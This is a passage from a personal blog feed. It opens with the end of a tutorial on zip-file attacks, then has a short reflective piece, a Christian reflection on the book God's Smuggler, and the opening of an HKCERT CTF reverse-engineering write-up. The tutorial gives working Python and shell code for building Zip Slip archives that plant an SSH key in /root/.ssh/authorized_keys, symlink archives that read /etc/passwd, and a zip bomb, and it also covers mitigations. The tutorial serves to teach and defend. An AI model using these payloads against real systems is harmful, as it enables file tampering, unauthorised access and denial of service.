    #          │                 └ filename to store on the archive
    #          └ file to compress from our local file system

This creates a new evil-slip.zip zip file. After importing the zipfile module, we create an instance with the desired file name (evil-slip.zip) and use write-mode ("w"). (There is also r and a for reading/adding files.)

We also use Python's with statement, so that the zip file automatically saves when leaving the block, whether due to normal or erroneous circumstances.

Inside, we use zip.write to add files to the zip. We add a local file my-ssh-key.pub and store it as ../../root/.ssh/authorized_keys in the archive.

One nice thing about the zipfile module is that it constructs the file in-memory (without creating temporary files). This allows us to craft complex zips without trashing our local filesystem.

_(collapse)

With Shell Commands

Another approach is to use shell commands and reverse the process: start with the files we want unzipped.

touch ../../root/.ssh/authorized_keys
Normally we would run `ssh-keygen` to generate a key pair...
and use the generated public key as our authorized_keys.
But let's assume ../.ssh/authorized_keys holds a public key.

zip evil-slip ../../root/.ssh/authorized_keys
  adding: ../../root/.ssh/authorized_keys (deflated 18%)

unzip -l evil-slip
Archive:  evil-slip.zip
  Length      Date    Time    Name
---------  ---------- -----   ----
      575  01-23-2024 17:53   ../../root/.ssh/authorized_keys
---------                     -------
      575                     1 file

_(collapse)

Limitations of Zip Slip

On Windows, you may need backslashes \ instead of forward slashes /. This ultimately depends on the unzipping application/library. Some libraries will convert between slashes.
The app needs execute permissions on intermediate folders (to traverse across) and write permissions on the target folder. For instance, to write to foo/bar/baz/flag.txt, we need x permissions on foo/ and foo/bar/; and wx permissions on foo/bar/baz/.

Zip Symlink Attacks 🖇

Zip symlink attacks are just that: zip file attacks containing symlinks (symbolic links). There are several ways to build such a malicious zip, but let's first clarify two types of symlinks in our arsenal:

Symlink Files. This allows us to potentially read arbitrary files.
Symlink Directories. This allows us to potentially write files to arbitrary folders.

Why “potential”? Because there are other factors that may hinder such attacks: OS permissions, WAFs, etc.

Arbitrary File Read with File Symlinks

Let's start with a simple zip symlink payload. Here's a zip which contains a symlink to /etc/passwd.

evil-link-file.zip
└── passwd.txt         -> /etc/passwd

Suppose (again) a vulnerable app unzips this file at /app/uploads/. The filesystem would now resemble:

app/
└── uploads/
	└── passwd.txt     -> /etc/passwd

If we can read files in /app/uploads/, then we can read passwd.txt and by extension, /etc/passwd!¹ We can use this method to read any file on the system (subject to certain constraints to be discussed later).

This is all fine and dandy if we can read files in /app/uploads/. But... what if can't?

One solution is to find a readable directory, then deploy the symlink into that directory with Zip Slip. But let's look at another way to achieve the same result...

Arbitrary File Write with Dir Symlinks

Although Zip Slip does allow us to perform arbitrary file writes, .. patterns may be (naively) filtered or blocked. An alternative is to use directory symlinks.

Again, let's try to write a file to /root/.ssh/authorized_keys.

Instead of using one zip entry, we'll use two: a directory and a file.

evil-link-dir.zip
└── dirlink/           -> /root/.ssh/
    └── authorized_keys

These two entries are:

dirlink: a symlink to our target directory
dirlink/authorized_keys: the file we're trying to write

Now our zip contains a symlink directory! Let's go through what happens when this file is unzipped by a vulnerable app.

First, dirlink is decompressed and a symlink is created, pointing to /root/.ssh/. Next, the app tries to decompress dirlink/authorized_keys, which—if the app follows symlinks—gets written to /root/.ssh/.

Tada! We've just shown another way to achieve arbitrary file write.

Let's see what the filesystem looks like now.

/
├── app/
│	└── uploads/
│	    └── dirlink        -> /root/.ssh/
└── root/
    └── .ssh/
		└── authorized_keys

Put it into Practice: If you're itching to try out Zip Slip and zip symlink attacks, feel free to try the exercises I've uploaded on GitHub.

DIY: Build your own Zip Symlink Payload!

With Python

Like before, we can use Python to generate zip symlink payloads. We'll need some extra massaging with ZipInfo though.

# evil-link-file.zip
# └── passwd.txt         -> /etc/passwd
with zipfile.ZipFile("evil-link-file.zip", "w", compression=zipfile.ZIP_DEFLATED) as zip:
  # This creates a file symlink named `passwd.txt` which links to `/etc/passwd`.
  info = zipfile.ZipInfo("passwd.txt")
  info.create_system = 0 # Linux => 0. Windows => 3.
  info.external_attr = (stat.S_IFLNK | 0o777) << 16 # File attributes.
  zip.writestr(info, "/etc/passwd")  # /etc/passwd is the file we want to read.

To construct a dir symlink attack, we change the path in zip.writestr to a directory. We also use zip.write to add a source file.

# evil-link-dir.zip
# └── dirlink/           -> /root/.ssh/
#     └── authorized_keys
with zipfile.ZipFile("evil-link-dir.zip", "w", compression=zipfile.ZIP_DEFLATED) as zip:
  info = zipfile.ZipInfo("dirlink")
  info.create_system = 0
  info.external_attr = (stat.S_IFLNK | 0o777) << 16
  zip.writestr(info, "/root/.ssh/")

  # Add an file from our filesystem. (Not a symlink.)
  zip.write("my-ssh-key.pub", "dirlink/authorized_keys")

For a double symlink attack (file symlink + dir symlink), we just combine the two methods and create two symlinks.

# evil-link-dir.zip
# └── dirlink/           -> /some/readable/directory/
#     └── passwd.html    -> /etc/passwd
with zipfile.ZipFile("evil-link-dir-file.zip", "w", compression=zipfile.ZIP_DEFLATED) as zip:
  # Order matters! Write dir first, then file.
  info = zipfile.ZipInfo("dirlink")
  info.create_system = 0
  info.external_attr = (stat.S_IFLNK | 0o777) << 16
  zip.writestr(info, "/some/readable/directory/")

  info = zipfile.ZipInfo("dirlink/passwd.html")
  info.create_system = 0
  info.external_attr = (stat.S_IFLNK | 0o777) << 16
  zip.writestr(info, "/etc/passwd")

_(collapse)

With Shell Commands

Shell commands also work. (Make sure to use -y/--symlinks when zipping symlinks. Otherwise, you'd be adding your actual /etc/passwd!)

Double symlink payload construction:

Create our (soft) links.
ln -s /some/readable/directory/ dirlink
ln -s /etc/passwd dirlink/passwd.txt
Zip the links. (Order matters!)
zip -y evil-link-dir-file dirlink dirlink/passwd.txt

Note that this approach will leave leftover files.

_(collapse)

Limitations of Zip Symlink Attacks

Permissions on Linux.
- To create a symlink, we need execute permissions in the source directory (where the linked file is located) and write/execute permissions in the target directory (where the symlink is created).²
- Reading a symlink requires execute permissions in the source directory, and read permissions on the source file.
Permissions on Windows. By default, only Administrators have the privilege to create symbolic links. This setting can be changed by editing the local group policy or by directly enabling SeCreateSymbolicLinkPrivilege.
Although symlink attacks are cool and all, they're relatively rare (in the wild) compared to Zip Slip. Perhaps symlinks are handled with extra care.

Zip Bombs 💣

Since we're talking about attacks, let's also cover zip bombs for completeness.

Zip bombs are designed to cripple computers, systems, and virus scanners (rather than read sensitive data or escalate privileges, like Zip Slip and symlink attacks). Much like the well-memed fork bomb, a zip bomb attempts to drain system resources.

^{Some fork bomb memes. And zip bomb memes adapted from fork bomb memes. Zip bomb memes where?³}

The basic principle abuses the deflate⁴ compression format to achieve compression ratios of up to 1032:1. This means after compression, every byte of compressed data can represent up to 1032 bytes of uncompressed data.

Zip bombs approach this ratio by compressing a file with highly-repetitive patterns (e.g. all zeros) which can be counted and grouped compactly.

Why are highly-repetitive patterns 'easier to compress'?

To see why repetitive patterns facilitate compression, consider an analogy with run-length encoding. If we want to compress 1111222233334444, we would say four 1s, four 2s, four 3s, four 4s which has a compression ratio of 12 characters to 8 words. But if we want to compress 1111111111111111, we would say twelve 1s, which has a higher compression ratio of 12 characters to 2 words.

_(collapse)

The well-known 42.zip bomb is only 42KB, but contains 5 layers of zips upon zips. Unzipping the first layer yields a harmless 0.6MB. But recursively uncompressed, it yields an astronomical payload of 4.5PB (petabytes, 15 zeros)!

Most decompression tools and virus scanners are wary of zip bombs, and only unzip the first (few) layers or stop after identifying a zip file.

In 2019, David Fifield introduced a better zip bomb, which abuses the structure of a .zip, toying with metadata to trick decompressors into puking ungodly amounts of data.⁵ A 42KB, compressed Fifield zip bomb yields 5.4GB of uncompressed bytes. This is just the first level of decompression! This metadata trickery is more generally known as Metadata Spoofing.

DIY: Build your own Zip Bomb!

Here's a small demo on a Linux shell:

Create a blank file with 5GB of null bytes.
dd if=/dev/zero bs=20000 count=250000 >zero.txt

Zip it.
zip test.zip test.txt

Count the number of bytes.
wc -c zero.txt zero.zip
 5000000000 zero.txt
 4852639 zero.zip
 5004852639 total

From 5GB, we've gone down to ~4.9MB! A few of these could exhaust most virtual machines.

Zip Vulnerabilities in the Wild

Here are some notable zip vulnerabilities in the past decade:

Multiple Zip Vulnerabilities across Flutter and Swift Packages (2023)
Zip Symlink Vulnerability in Juce (2021)
Zip Slip (2018) and Metadata Spoofing (2019) in Rubyzip
Zip Slip Bonanza in Multiple Languages/Frameworks/Packages (2018 - 2019)

Keep in mind zip files come in different forms. Here are some you might be familiar with:

.docx, .pptx, .xlsx (Microsoft Documents),
.jar (Java Archive),
.apk (Android App),
.mscx (MuseScore File).

Any service processing such files has potential to be vulnerable.

Mitigations and Other Considerations

So much for the offensive side. How about the defensive aspect? What approaches can we take to secure our systems?

Let's explore a few ways to mitigate zip attacks. (Some of these can also be applied to protect against other attacks, or may just be general improvements.)

Permissions

For sysadmins.

Avoid running applications as root or Administrator. Instead, run it with a minimum privilege user.

Minimum meaning: enough permissions to get the job done, and only enabling higher permissions when needed. Typically, only read/write are needed. Maybe write permissions for log/upload directories.

In America, "all men are created equal". Not so in filesystems.

Reading, writing, and linking files depends on permissions. Setting appropriate permissions for the process and limiting the scope of an application can go a long way in preventing attackers from snooping secrets.

See Limitations of Zip Slip and Limitations of Zip Symlink Attacks for details on relevant permissions.

Modern Antivirus

For sysadmins and normies.

Upgrade your (antivirus) software. Daily updates to malware signatures ensure your antivirus program stays equipped to detect and thwart emerging threats.

Although zip bombs have targeted antivirus (AV) systems in the past, most modern AV programs can detect zip bombs by recognising patterns and signatures.

Robust Code

For software developers building/maintaining zip applications/libraries.

Consider the nature of your application/library and handle edge cases. Prevent attack vectors where applicable.

Although /../ and symlinks can be used maliciously, they are technically allowed by the zip specification⁶. So... should your product implement protections against these? It depends.

Are you developing an unzip application (for end-users) or a high-level unzip library (to be conveniently imported and used by application developers)?
- Then yes, you should prevent the aforementioned tricks entirely.
Are you developing a low-level unzip library, closely following the zip spec?
- Then not necessarily, but you should play your part by using secure defaults where possible. The responsibility now falls on developers using your library to respect the defaults and assess potential risk.

Code: Malicious Actors Hate This One Simple Trick!

One common way to prevent arbitrary file write attacks is to:

resolve the canonical path of the target file,⁷ and
verify the path is within the unzip directory.

For instance, Juce v6.1.5 added such a check:

if (!fileToUnzip.isAChildOf(directoryToUnzipTo))
  // Attack attempt detected: attempted write outside of unzip directory.
  return Result::fail("...");

_(collapse)

Attack Vectors and Edge Cases to Consider

For high-level unzip libraries and applications.

Checklist of edge cases to consider.

.. (Zip Slip),
symlinks (zip symlink attacks),
potential uncompressed file size (especially if your application targets end-users or constrained systems).

_(collapse)

Good Defaults

For all unzip libraries and applications.

Don't follow symlink directories.
Don't overwrite files. You don't want your existing files wiped out, right?

It's a good idea to keep these defaults, unless you really need these features, and you're confident with the level of risk you're dealing with.

_(collapse)

Unit Tests

For software developers building/maintaining zip libraries.

Adopt unit testing to verify your code works as intended. Add test cases against unintended situations.

Test cases prevent software regression and automate the menial task of manual input. For example, Juce v6.1.5 also introduced a test case against Zip Slip.

tl;dr

A quick recap:

There are generally three streams of zip attacks:
- Arbitrary File Write with Zip Slip
- Arbitrary File Read/Write with Zip Symlink Attacks
- Denial of Service with Zip Bombs and Metadata Spoofing
Ways to counter zip attacks include:
- (Sysadmins) Run applications with a minimum-privilege user.
- (Regular Users, Sysadmins) Regularly update antiviruses with new signatures.
- (Software Developers) Adopt strong software development practices, including error handling, secure defaults, and unit tests.

While zip files offer convenience and efficiency in compressing and sharing data, we shouldn't overlook the security implications they can present. Hopefully this article left the reader with some understanding of their potential risks.

Anecdotes? Stories? New zip developments? Let me know by leaving a comment. 🙂

Other References

PentesterAcademy: From Zip Slip to System Takeover
SecurityVault: Attacks with Zip Files and Mitigations
zipattack.py - various functions to construct zip payloads in Python

Footnotes

Okay, some steps were skipped here for the sake of simplicity. The long answer is: reading a symlink also depends on permissions of the source file and the source directory. If we can read files in our upload directory and if we have sufficient permissions, then we can (potentially) have arbitrary file read. See Limitations. ↩︎
Reference: SO: Minimum Permissions Required to Create a Link to a File ↩︎
There probably aren't as many memes on zip bombs as they tend to be a software bug which can be swiftly patched. ↩︎
This is the same compression algorithm used in gzip (commonly used for transferring files across the web) and PNGs. ↩︎
Fifield's article on "a better zip bomb": https://www.bamsoftware.com/hacks/zipbomb/. (It may be blocked on some browsers.) ↩︎
Reference: PKWare Mirror ↩︎
Canonical path means no ./, no ../, no ~/, no symlinks. Just a directory built directly from /. ↩︎

Relay

2024-01-20T00:00:00Z

The people walking in darkness
have seen a great light;
on those living in the land of deep darkness
a light has dawned.

– Isaiah 9:2

What is a relay? A race—passing a baton from one to the next. The passing of packets by a router or a gateway server. Or used plainly as a verb without technicalities, a relay may simply mean to receive and pass on information.¹

It's worth taking a moment to reflect: what are we relaying? As time passes, more responsibility falls on our shoulders—the responsibility to be helpful (or useful?) in society; the responsibility to mentor; the responsibility to work, to execute; the responsibility to lead.

What are we relaying? What torch are we passing on? What is our light? And what keeps us moving?

The average human works 90,000 hours. There's only so much experience, wealth, and knowledge we can accrue.

Light the torch and guide us through the dark.
Shadows, dispelled by balls of flame.
Relay to us this bright white shining spark.
Ready, for the race to carry on.
^{(Some words to go along with the climactic sections.)}

Similar to Remorse, Relay was featured as part of a challenge in the HKUST Firebird CTF 2024 competition, a competition where teams hunt for hidden pieces of text.

Footnotes

It might also (in my mind) be a play-on of "rhythmic delay". ↩︎

5 Wacky Insights from God's Smuggler

2024-01-07T00:00:00Z

Last year, a friend lent me his copy of God’s Smuggler, an autobiography of Brother Andrew’s adventures behind the Iron Curtain (into Communist countries).

Over the first few chapters we're introduced to Brother Andrew, an adventurous fellow who served alongside his Dutch comrades in World War II. He is portrayed with a rebellious spirit and strong desire to make a difference to the world.

Through various encounters with God, Andrew’s faith deepened and his restlessness to share God’s message grew. As his character develops, his faith becomes a central source of courage, resilience, and a profound sense of purpose.

As I read this book, it struck me how the book offers scandalous perspectives to life—ones backed by faith and a dependence on God. To be honest, these perspectives are nothing new. We can find these ideas in the Bible directly... but it's interesting reading it from a modern POV, amirite?

1. Cease Control

And so, for the first of many times, I said the Prayer of God's Smuggler:

'Lord, in my luggage I have Scripture that I want to take to Your children across this border. When You were on earth, You made blind eyes see. Now, I pray, make seeing eyes blind. Do not let the guards see those things You do not want them to see.'

– Brother Andrew, Lanterns in the Dark, Page 117.

One aspect to living a Christ-fearing life lies in the Cost of Discipleship: to give up plans and desires for the sake of Christ. With the amount of travelling Andrew goes through, it’s only a matter of time before stringent border checks catch up with him.

In another instance, this relinquishment is spelled out more explicitly—a direct plea, but also a humble deference to Christ.

'Lord,' I went on, 'I know that no amount of cleverness on my part can get me through this border search. Dare I ask for a miracle? Let me take some of the Bibles out and leave them in the open where they will be seen. Then, Lord, I cannot possibly be depending on my own stratagems, can I? I will be depending utterly upon You.'

– Brother Andrew, The Greenhouse in the Garden, Page 185.

This character reflects how we can live a Christ-directed life through prayer, rather than living a self-directed life.

This can be very difficult to accept. After all, it requires us to deny ourselves and carry a cross (figuratively of course; Luke 14:27). We might not live a life as exciting as Brother Andrew's, but we could still serve God and experience joy in the process.

Context

The Yugoslav Government in 1957 permitted visitors to bring in only articles for their personal use. Anything new or anything in quantity was suspect because of the black market thriving all over the country. Printed material especially was liable to be confiscated at the border, no matter how small the quantity, because [coming] from out of the country, it was regarded as foreign propaganda. Now here I was with car and luggage literally bulging with tracts, Bibles, and portions of Bibles. How was I to get them past the border guard? And so, for the first of many times, I said the Prayer of God's Smuggler:

'Lord, in my luggage I have Scripture that I want to take to Your children across this border. When You were on earth, You made blind eyes see. Now, I pray, make seeing eyes blind. Do not let the guards see those things You do not want them to see.'

And so, armed with this prayer, I started the motor and drove up to the barrier...

– Brother Andrew, Lanterns in the Dark, Page 117-118.

In a separate trip to Romania…

It took me four hours to get across the Rumanian border. When I pulled up to the checkpoint on the other side of the Danube, I said to myself, 'Well, I'm in luck. Only half a dozen cars. This will go swiftly.'

When forty minutes had passed and the first car was still being inspected, I thought, 'Poor fellow, they must have something on him to take so long.'

But when that car finally left and the next inspection took half an hour too, I began to worry. Literally everything that family was carrying had to be taken out and spread on the ground. Every car in the line was put through the same routine. The fourth inspection lasted for well over an hour. The guards took the driver inside and kept him there while they removed hubcaps, took his engine apart, removed seats.

'Dear Lord,' I said, as at least there was just one car ahead of me, 'what am I going to do? Any serious inspection will show up those Rumanian Bibles right away.

'Lord,' I went on, 'I know that no amount of cleverness on my part can get me through this border search. Dare I ask for a miracle? Let me take some of the Bibles out and leave them in the open where they will be seen. Then, Lord, I cannot possibly be depending on my own stratagems, can I? I will be depending utterly upon You.'

While the last car was going through its chilling inspection, I managed to take several Bibles from their hiding places and pile them on the seat beside me.

It was my turn. I put the little VW in low gear, inched up to the officer standing at the left side of the road, handed him my papers, and started to get out. But his knee was against the door, holding it closed. He looked at my photograph in the passport, scribbled something down, shoved the papers back under my nose, and abruptly waved me on.

Surely thirty seconds had not passed. I started the engine and inched forward. Was I supposed to pull over, out of the way, where the car could be taken apart? Was I... surely I wasn't... I coasted forward, my foot poised above the brake. Nothing happened...

My heart was racing. Not with the excitement of the crossing, but with the excitement of having caught such a spectacular glimpse of God at work.

– Brother Andrew, The Greenhouse in the Garden, Page 184-185.

_(collapse)

Relevant Verses

⁵Trust in the Lord with all your heart
and lean not on your own understanding;
⁶in all your ways acknowledge him,
and he will make your paths straight.

– Proverbs 3:5-6 (NIV)

_(collapse)

2. On Singleness

'Some people, Lord, are built for the lonely walk.'
– Brother Andrew, The Third Prayer, Page 132.

In this prayer, Andrew acknowledges some people are gifted for singleness. Despite social stigma, singleness is also a valid calling. Not everyone is called to be intertwined with another hooman.

This idea is reflected in 1 Corinthians 7:7, where the apostle Paul addresses singleness and marriage. Neither status should be looked down upon, as people are capable of serving God either way. Some people serve best when alone. Some serve better in a team, as a couple. It really depends on God's calling (1 Corinthians 7:17).

Context

At the start of this chapter, Andrew prayed for a wife, but was directed to Isaiah 54:1: "The children of the desolate are more than the children of the married.", implying his ministry to the spiritually lost should come first before marriage. Yet, he prayed another prayer:

'Lord', I said one morning, sitting on the little iron fold-down bed in my room over the toolshed, 'I've got to pray just one more time about this bachelor life You plan for me. Now I know about those children You promise the desolate, but Lord, You also promise the desolate a home!' I quickly found the verse in Psalm 68, as though to refresh His memory: "God gives the desolate a home to dwell in." 'It isn't that I don't thank You for this room about the toolshed, Lord. Just because it's dark and dank and mildewy and – doesn't mean I'm not grateful. But, dear God, it is not a home. Not really. A home is where there's a wife and children – real ones.

'Lord, Paul prayed three times for release from the torn in the flesh that was bothering him. And you refused him. I have prayed twice for a wife. I am going to pray once more. Perhaps You will refuse me a third time, too, Lord, and if You do, I shall never again bring up the question. I'm going to write it here in my Bible.' I opened the Bible to the back cover and scribbled one last notation, 'Prayed ... for ... wife ... third time ... Witte, 7th July ... 1957.' Then I closed the Bible with a snap, 'Some people, Lord, are built for the lonely walk. But not me, please. Not me.'

– Brother Andrew, "The Third Prayer", Page 132.

Although much of the passage sees Andrew asking for a wife, I thought the last bit was amusing and deserves a bit of attention.

If anything, the casual tone of the prayer goes to show how close Andrew regards God, like an understanding friend.

_(collapse)

Relevant Verses

⁷I wish that all men were as I am. But each man has his own gift from God; one has this gift, another has that.

– 1 Corinthians 7:7 (NIV)

¹⁷Nevertheless, each one should retain the place in life that the Lord assigned to him and to which God has called him. This is the rule I lay down in all the churches.

– 1 Corinthians 7:17 (NIV)

_(collapse)

3. Pray Continuously

Only one of us would be talking at a time; the other would be constantly in prayer.

– Brother Andrew, The Work Begins to Expand, Page 213.

What's that? Missionaries discovered distributed computing and load balancing?

As Andrew's team and work grew, so did their modus operandi. And as absurd as it sounds, this principle is still carried on today.

It's interesting to muse on this 'technique'. Clearly there will be situations where both members are occupied and unable to pray. So what's the dealio? The point, I think, is to (again) cease control, i.e. to acknowledge God's hand on the matter. By praying, we rely not only on ourselves but also on the one with the high ground.

Context

Andrew and his missionary partner Hans were crossing the border into Russia. As was custom, guards would inspect their papers and vehicle.

At last came time for the inspection of the car itself. Hans and I had agreed ahead of time on the technique that we used ever afterwards whenever two people were crossing a border together. Only one of us would be talking at a time; the other would be constantly in prayer: prayer that God's will be done in each detail of the inspection, prayer for the country we were entering – beginning with these employees at the border.

– Brother Andrew, The Work Begins to Expand, Page 213.

_(collapse)

Relevant Verses

¹⁷pray continually;

– 1 Thessalonians 5:17 (NIV)

⁶Do not be anxious about anything, but in every situation, by prayer and petition, with thanksgiving, present your requests to God. ⁷And the peace of God, which transcends all understanding, will guard your hearts and your minds in Christ Jesus.

– Philippians 4:6-7 (NIV)

_(collapse)

4. To run or to stand?

We stay because— if we go, who will be left to pray?

– Brother Andrew, The Greenhouse in the Garden, Page 194.

Ah– migration, the perennial exodus from one country to another. You would think wars and mass migration were left behind in the 20th century, but they still exist today. Wars aren't the only reason of migration; political storms and socioeconomic circumstances also lead to uncertainty, fear, and instability. No hooman worried only about their individual (or immediate family) life wants that...

The two passages quoted in this section offer unique perspectives which challenge our ideal of stability. What matters more? Comfort? Or God? ... Where are we called to?

Context

While in Romania...

I met every shade of attitude, from the extreme of defeat to the extreme of courage. It was easy to sympathise with the defeated ones. 'What can we do?' was such a natural reaction. So many had only one ambition: to get out of Rumania altogether.

Oddly though, the more devoted a Christian, the more likely he was to stay put. In Transylvania we visited such a family. These Christians had a poultry farm which was still at least partially their own property. However, the state had given them a production quota that was beyond their capacity to meet. When they failed to reach it, they had to buy enough eggs on the open market to make up the difference. Year after year this had happened, and the economic suffering was great.

'Why do you stay then? So that you can keep your farm?' I asked.

The farmer and his wife both looked shocked. 'Of course not,' he said. 'In fact, we certainly will lose the farm. We stay because—' he let his eyes travel across the valley—'because if we go, who will be left to pray?'

– Brother Andrew, The Greenhouse in the Garden, Page 193-194.

_(collapse)

We urged our listeners to reconsider the role of a Christian when his country is in trouble. Is it to run, or is it to stand?

Life in Cuba in 1965 was not easy. But perhaps God had had His reasons for putting them in this place at this time. Perhaps they were to be His arms and legs and His healing hands in this situation, without whom He would have no representative in this land.

– Brother Andrew, Twelve Apostles of Hope, Page 261.

Context

Several months before our arrival, [Fidel Alejandro] Castro announced his plan to permit people to leave the country. Hundreds of thousands of people put their names on the list. However, only two planes flew out of Cuba each day. It would take ten years before even the 900,000 people on the original list could be flown out. Meanwhile, those who waited lost their jobs, their houses, and property. Yet 190 a day did leave, and others believed firmly that their turn would soon be coming. It was among these people who wanted to leave Cuba that we felt our trip had the greatest effect.

As we had in Eastern Europe, we urged our listeners to reconsider the role of a Christian when his country is in trouble. Is it to run, or is it to stand? Life in Cuba in 1965 was not easy. But perhaps God had had His reasons for putting them in this place at this time. Perhaps they were to be His arms and legs and His healing hands in this situation, without whom He would have no representative in this land.

One evening when I had said something like this, a stout, well-dressed man with a heavy black moustache stood up in the congregation. 'I am a Methodist minister,' he told the group. 'For the last two years I have worked as a barber. But God has spoken to me this evening. I am going to return to the ministry. I am a shepherd who has left his sheep, but I am going back to them.'

There was pandemonium. Everyone in the church had to shake his hand. I heard shouts of joy, cries of 'gracias, pastor!'

– Brother Andrew, Twelve Apostles of Hope, Page 261.

_(collapse)

Relevant Verses

³Do nothing out of selfish ambition or vain conceit, but in humility consider others better than yourselves. ⁴Each of you should look not only to your own interests, but also to the interests of others.

– Philippians 2:3-4 (NIV)

_(collapse)

5. Technology is in His Hands

Perhaps one of the most thrilling aspects of Brother Andrew is

his relationship with technology, and
how God uses technology (in surprising ways!).

Of all technological innovations in the 20th century, much of the book was dominated by cars. It makes sense in hindsight. Andrew does a lot of travelling. Of course, he would need a car. It's the most flexible means of travel (and probably the most cost-effective).

It started off with impromptu driving lessons by a peer, Karl de Graaf. Imagine going about your work when all of a sudden, you're told to learn how to drive.

'Hello, Andy. Do you know how to drive?'

'Drive?'

'An automobile.'

'No,' I said, bewildered. 'No, I don't.'

'Because last night in our prayers we had a word from the Lord about you. It's important for you to be able to drive.'

[...]

A week later the dike builder drove up to the door again.

'Have you been taking your driving lessons?'

'Well – not exactly...'

'Haven't you learned yet how important obedience is? I suppose I'm going to have to teach you myself. Hop in.'

That afternoon I sat behind the wheel of a motor vehicle for the first time since that disastrous morning eleven years earlier when I had driven the Bren carrier full speed down the company street. Mr de Graaf returned again and again, and so skilled a teacher was he that a few weeks later I took my driving test and pass it the first time around—a rare thing in Holland. I still could see no reason why I—who didn't even own a bicycle any more—should be carrying an automobile driver's licence around in my pocket. But Mr de Graaf refused to speculate. 'That's the excitement in obedience,' he said. 'Finding out later what God had in mind.'

– Brother Andrew, The Foundations are Laid, Page 109.

A few page flips later, Andrew found a use for his driver's licence...

'This is Andrew calling. How lucky to find you home in the middle of the day.'

'I thought you were in Berlin.'

'I am.'

'We were sorry to hear about your father.'

'Thank you. But this call is good news, Mr Whetstra. I just had to tell you. I have in my hand two pieces of paper. One is a letter from the Yugoslavian consulate in Holland turning down my request for a visa, and the other is my passport, stamped with a visa by the Yugoslav people here. I've got it, Mr Whetstra! I'm going behind the Curtain as a missionary!'

'Andrew, you'd better come home for your keys.'

'I'm sorry, Mr Whetstra, this is a bad connection. I thought you said keys.'

'I did. To your Volkswagen. We've talked it all over, and there's no untalking us. Mrs Whetstra and I decided months ago that if you got the visa, you also got our automobile. Come home and pick up the keys.'

– Brother Andrew, The Foundations are Laid Page 114

Oh joy. Free car!

Even when the car engine died, God had an exercise planned.

This was all His timing, and the question of the money was also in His hands. I was not worried, just fascinated to see how He was going to work it all out.

Context

'My crew leaves in ten minutes. They could have a new engine in for you in an hour, but you'd have to pay them a good tip for staying overtime.

'How much would the whole thing cost, including the tip?'

'Five hundred marks.'

Without hesitation I said, 'Go ahead. I'll go and get some more money changed at the train station.'

It was on board the streetcar going to the station that I counted my money and realised that all I had with me would not make five hundred marks. There'd be no help from the two students back at the garage: they were riding with me in the first place because they were flat broke.

Should I go back and cancel the work order? No. I could see God's hand too clearly in all of this. Stopping precisely at the emergency telephone, having the engine wear out here in Germany where it came from, rather than in some distant and hostile spot where replacement would have been impossible and questions awkward. I was far too familiar with the way Christ looks after the practical side of the ministry to miss these signs. This was all His timing, and the question of the money was also in His hands. I was not worried, just fascinated to see how He was going to work it all out.

When I had changed every last guilder, it came—with the German money in my pocket—to 470 marks. Fifty shy of the amount I needed to pay the bill and to buy gasoline on the way home.

'Well,' I said to myself, 'something will happen on the streetcar going back.'

But nothing did. I got to the garage to find the workmen just finishing up and my two passengers nowhere to be seen. They'd gone for a walk, one of the men said, packing away his tools. The others were cleaning up too. I could delay the moment of reckoning no longer.

And at that instant, the two young Dutchmen raced through the door, one of them waving something in his hand. 'Andy!' he shouted. 'Craziest thing ever happened to me! We were just walking along the street when this lady came up to us and asked if we were Dutchmen. When I said yes, she gave me this bill! She said God wanted us to have it!' The bill was for fifty marks.

– Brother Andrew, The Work Begins to Expand, Page 203-204.

_(collapse)

And finally, a modern take on technology:

Although he sometimes walks the three miles to the Dutch offices of Open Doors, where all the modern technological wonders are in use, Andrew's personal workplace is not connected to the Internet and has no fax or answering machine.

'And I won't even consider installing one of those call-waiting monstrosities,' he exclaimed, 'that interrupt one phone conversation to announce another.' Technology, Andrew says, makes us far too accessible to the demands and pressures of the moment. 'Our first priority should be listening in patience and silence for the voice of God.'

– Brother Andrew, The Journey in the New Millennium, Page 277.

This last statement is true. Sometimes I wonder if I place technology (apps, games, notifications) first, before God... and I shudder at the thought. Thankfully, most phones now come with Do Not Disturb, but without self-discipline it's pointless.

Concluding Remarks

Quick recap:

Cease control. Live a Christ-directed life.
Singleness/A0 is nothing to be ashamed of.
Pray continuously.
What is your calling?
Technology is powerful, but it's even more powerful in God's hands.
Ultimately: Seek God's kingdom first. (Matthew 6:33)

Other interesting things:

A congregation threw paper aeroplanes to pass prayer requests across a large hall! (Page 217) Creative! Wonder if they broke any world records for number of paper planes thrown indoors.

It was real joy reading this book. Every page sparked as much adventure and trepidation as Robinson Crusoe. Maybe I'll read Light Force next? My five insights don't do justice to the gracious work God has delivered through Andrew; but hopefully these insights may encourage us to (re)read God's Smuggler (and by extension, the Bible) and explore the adventure within.

What insights did you discover reading God's Smuggler? Do you have a favourite insight from this list? How can you apply these in your daily life?

HKCERT CTF 2023 – Decompetition: Vitamin C++

2023-11-16T00:00:00Z

Oh boy, another C++ reverse challenge. :rubs_hands_in_delight:

Decompetition: Vitamin C++ is a reverse engineering challenge in this year's HKCERT CTF, an annual online capture-the-flag competition hosted in Hong Kong. The format is slightly different from usual rev chals in that we’re required to derive the source code of a binary. This really tests our understanding of how the language is compiled into machine code.

So whether you’re a first-timer or a veteran at reversing C++, this is a fun(?) way to dive deep into or review neat aspects of the language.

If you want to follow along, you can grab the challenge here: GitHub (Backup). I’ll also be relying on Ghidra as my decompiler, because I ~~am poor~~ want to support open-source.

Description

Author: harrier
4/5 stars ⭐️. 5/311 solves.

So let's learn reverse with Decompetition!¹ The goal is simple: try to recover the original source code as much as possible, while understand the code logic deeply to get the internal flag! Only with two of those together, you will win this flag.

STL is used everywhere, so it would be nice to be able to reverse them!

Note there is an internal flag with flag format internal{}. Please do not submit this directly to the platform.

g++ version: g++ (Debian 12.2.0-14) 12.2.0
nc chal.hkcert23.pwnable.hk 28157

And a note on testing:

If you want to run this locally, you can install all the prerequisite library with pip, and run python compiler trie.disasm.
pip install pyyaml capstone intervaltree pyelftools diff_match_patch

Thus, to get the flag, we need to:

Obtain the source code (97.5% similarity).
Obtain the internal flag by reversing the source code.
Submit the internal flag (not to the platform, but to the remote connection).
Profit!

(You can see this process play out in compiler.py.)

The first step is the most challenging. Even if we have a decent understanding of the program, we still need the source code to continue.

Let’s start by analysing what we’re given and how we can approach the problem. We'll aim for 100% similarity, but go step by step.

Analysis

Unzipping our bag of goodies, we’re given:

compiler.py. This is the backend doing all the compilation and diffing.
- Only TrieNode methods, wordhash, and main are diffed.
- Prior to compiling, our code is prefixed with some boilerplate (includes of unordered_map, string, and iostream).
build.sh. Checks our code against bad patterns, and compiles the program.
trie. This is the binary file of our target source code. Open this in your favourite decompiler.
